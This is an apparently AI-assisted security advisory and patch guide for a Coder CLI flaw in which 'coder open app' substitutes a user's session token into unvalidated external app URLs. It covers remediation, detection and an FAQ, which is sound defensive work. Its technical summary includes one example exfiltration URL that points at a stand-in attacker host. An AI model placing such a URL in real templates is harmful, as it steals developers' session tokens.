HIGH 7.7

CVE-2026-55431: Coder Session Token Exposure in `coder open app` — Patch Guide

Coder's `coder open app` command, which helps developers quickly access workspace applications, has a credential exposure vulnerability. When a user runs this command on a workspace with a malicious app definition, the CLI can be tricked into opening a URL that contains their session token—the authentication credential that proves they're logged in. An attacker who controls a workspace's app template can craft a URL that captures this token, potentially gaining unauthorized access to the user's Coder account and resources. The vulnerability affects Coder versions before 2.29.7, 2.32.7, 2.33.8, and 2.34.2.

Source data · NVD / CISA · public domain

CVSS
3.1 · 7.7 HIGH · CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
Weaknesses (CWE)
CWE-522, CWE-601
Affected products
1 configuration(s)
Published / Modified
2026-07-08 / 2026-07-08

NVD description (verbatim)

Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. As a workaround, avoid running `coder open app` for untrusted workspaces.

6 reference(s) · View on NVD →

SEC.co analysis · AI-assisted, reviewed against source

Technical summary

The vulnerability stems from insufficient URL validation in the `coder open app` command. The CLI accepts external app URLs defined in workspace templates without validating the URL scheme (http, https, etc.) or hostname. When these URLs contain the `$SESSION_TOKEN` placeholder, the CLI replaces it with the user's actual session token before passing the URL to the operating system's URL handler. This allows a template author to construct a URL like `file:///tmp/malicious` or `http://attacker.com/?token=$SESSION_TOKEN` that will either execute local commands or exfiltrate the session token to an attacker-controlled server. The fix implements a URL-scheme allowlist in the CLI and restricts `$SESSION_TOKEN` substitution to only trusted destinations such as the Coder web frontend, preventing arbitrary token exposure.

Business impact

For organizations using Coder for remote development environment provisioning, this vulnerability poses a credential compromise risk. If a developer is social-engineered or unknowingly uses a workspace created by an attacker or compromised template, their session token can be stolen. A compromised token grants the attacker the same access level as the victim, potentially enabling lateral movement to other workspaces, access to source code, infrastructure credentials stored in environment variables, and manipulation of development environments. The impact is heightened in organizations where template management is decentralized or where external contributors can author templates. Incident response and credential rotation may be necessary following exploitation.

Affected systems

Coder versions prior to 2.29.7 (for the 2.29.x line), 2.32.7 (for the 2.32.x line), 2.33.8 (for the 2.33.x line), and 2.34.2 (for the 2.34.x line and later) are affected. All deployment scenarios—cloud-hosted, on-premises, and Coder Cloud—are vulnerable if running unpatched versions. The actual risk exposure depends on whether users have access to workspaces with external app definitions controlled by untrusted parties (typically template authors).

Exploitability

This vulnerability requires several conditions to be exploited: (1) the victim must actively run the `coder open app` command, (2) the workspace must have an external app definition controlled by the attacker, and (3) the attacker must typically social-engineer the victim or have the victim's workspace created from a malicious or compromised template. The attack is not wormable or automatically triggered; user interaction is required. However, exploitability is moderate because many development teams use shared templates, and a single compromised template can affect multiple developers. No active KEV exploitation has been reported as of the published date.

Remediation

Update Coder to version 2.29.7, 2.32.7, 2.33.8, 2.34.2, or later depending on your current line. As an immediate interim measure, restrict or audit who can author or modify workspace templates in your Coder deployment, and educate developers to avoid running `coder open app` on workspaces created from untrusted or unfamiliar templates. If you cannot patch immediately, ensure that session tokens are monitored for unusual activity and implement token expiration policies.

Patch guidance

Identify your current Coder version by running `coder version` on your server or checking the Coder web interface. Upgrade using your standard Coder deployment method (Helm, Docker Compose, binary, or Coder Cloud auto-update). For on-premises deployments, plan the upgrade during a maintenance window; most updates are backward-compatible and non-disruptive. For Coder Cloud, check the deployment status in the web console. After upgrading, verify the new version is running and test the `coder open app` functionality with a benign workspace app to confirm normal operation. Review any custom templates in your deployment for suspicious external app URLs.

Detection guidance

Monitor Coder audit logs for invocations of the `open app` command, particularly from users accessing workspaces they don't typically use. Look for unusual session token usage patterns, such as tokens appearing in HTTP requests to non-Coder domains or in log files. If you have an HTTP proxy, examine egress traffic from developers' machines for unexpected connections to external hosts triggered by `coder open app` commands. Check for any workspace template modifications that add external app definitions pointing to unexpected hosts or using non-standard URL schemes. Correlate developer reports of unexpected browser redirects or unusual application behavior with `coder open app` usage.

Why prioritize this

This vulnerability scores CVSS 7.7 (HIGH) due to the combination of high-impact credential exposure, network-accessible attack vector, and the presence of a user-interaction requirement that is realistically achievable through social engineering or template injection. While the vulnerability requires the victim to run a specific command and the attacker to control a template, the widespread use of shared templates in development organizations and the sensitive nature of session tokens justify prompt patching. The lack of KEV designation suggests active exploitation is not yet widespread, but the straightforward attack path and moderate exploitability warrant treating this as a near-term priority.

Risk score, explained

CVSS 3.1 score 7.7 reflects: (A) Network-accessible attack surface (developers access Coder from anywhere), (B) Attack complexity is High because the attacker must control the template and the user must actively run the command, (C) Low privilege requirement (any authenticated user can be targeted), (D) Required user interaction (the victim must execute `coder open app`), (E) Confidentiality and Integrity impact is High (session token exposure enables account takeover and resource manipulation), and (F) no Availability impact (the command does not crash or disable services). The scope is Changed because compromise of a developer's account can affect other systems and users in the organization.

Frequently asked questions

Can this vulnerability be exploited if I don't use external apps?

No. The vulnerability specifically requires a workspace to have an external app definition with a malicious URL. If your templates do not include external apps, this particular attack vector is not applicable. However, we still recommend patching as a general best practice.

What is a session token and why is it sensitive?

A session token (also called a session cookie or bearer token) is a credential that proves a user is authenticated to Coder. It allows the user to access Coder APIs and resources without re-entering their password. If stolen, an attacker can impersonate that user for as long as the token remains valid, potentially for hours or days depending on your token expiration policy.

How can I identify if malicious templates exist in my Coder deployment?

Review all workspace templates in your Coder deployment, particularly those created by external contributors or contractors. Look for external app definitions that reference non-standard URL schemes (file://, ftp://, etc.) or domains you do not recognize. Compare template git commits and authorship to identify unexpected changes. If you suspect a template has been compromised, revoke it and audit workspaces created from it for suspicious session activity.

Is there a difference between Coder Cloud and on-premises deployments in terms of vulnerability?

Both are vulnerable to this issue if running unpatched versions. Coder Cloud deployments receive automatic updates on a regular schedule; check your deployment status. On-premises users must manually initiate the update. The vulnerability mechanics are identical across deployment types.

This analysis is based on the official CVE record and vendor advisory as of the published date. CVSS scores and severity ratings are provided by NIST and the vendor. Actual risk to your organization depends on your specific Coder deployment, template governance practices, and user access patterns. Always verify patch compatibility and test in a non-production environment before rolling out to production. For the most current information and official patches, refer to the Coder security advisory at coder.com/security. SEC.co does not provide legal, compliance, or specific incident response guidance; consult your internal security and legal teams for organizational policy decisions. Source: NVD (public-domain), retrieved 2026-08-16. Analysis generated by SEC.co (claude-haiku-4-5).